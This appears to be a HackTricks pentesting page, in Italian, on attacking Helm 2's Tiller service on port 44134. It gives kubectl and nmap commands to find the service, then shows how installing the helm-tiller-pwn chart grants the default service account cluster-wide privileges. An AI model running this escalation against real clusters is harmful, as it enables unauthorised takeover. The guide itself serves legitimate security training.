5.3 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informazioni di base
Helm è il gestore di pacchetti per Kubernetes. Permette di impacchettare file YAML e distribuirli in repository pubbliche e private. Questi pacchetti sono chiamati Helm Charts. Tiller è il servizio in esecuzione per impostazione predefinita sulla porta 44134 che offre il servizio.
Porta predefinita: 44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
Enumerazione
Se puoi enumerare i pod e/o i servizi di diversi namespace, enumerali e cerca quelli con "tiller" nel loro nome:
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
Esempi:
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
Puoi anche provare a trovare questo servizio in esecuzione controllando la porta 44134:
sudo nmap -sS -p 44134 <IP>
Una volta che l'hai scoperto, puoi comunicare con esso scaricando l'applicazione client helm. Puoi usare strumenti come homebrew
, o guardare la pagina ufficiale delle release. Per ulteriori dettagli, o per altre opzioni, consulta la guida all'installazione.
Poi, puoi enumerare il servizio:
helm --host tiller-deploy.kube-system:44134 version
Privilege Escalation
Per impostazione predefinita, Helm2 è stato installato nel namespace kube-system con elevati privilegi, quindi se trovi il servizio e hai accesso ad esso, questo potrebbe consentirti di escalare i privilegi.
Tutto ciò che devi fare è installare un pacchetto come questo: https://github.com/Ruil1n/helm-tiller-pwn che darà al token di servizio predefinito accesso a tutto nell'intero cluster.
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
In http://rui0.cn/archives/1573 hai la spiegazione dell'attacco, ma fondamentalmente, se leggi i file clusterrole.yaml e clusterrolebinding.yaml all'interno di helm-tiller-pwn/pwnchart/templates/ puoi vedere come tutti i privilegi vengono dati al token predefinito.
{% hint style="success" %}
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.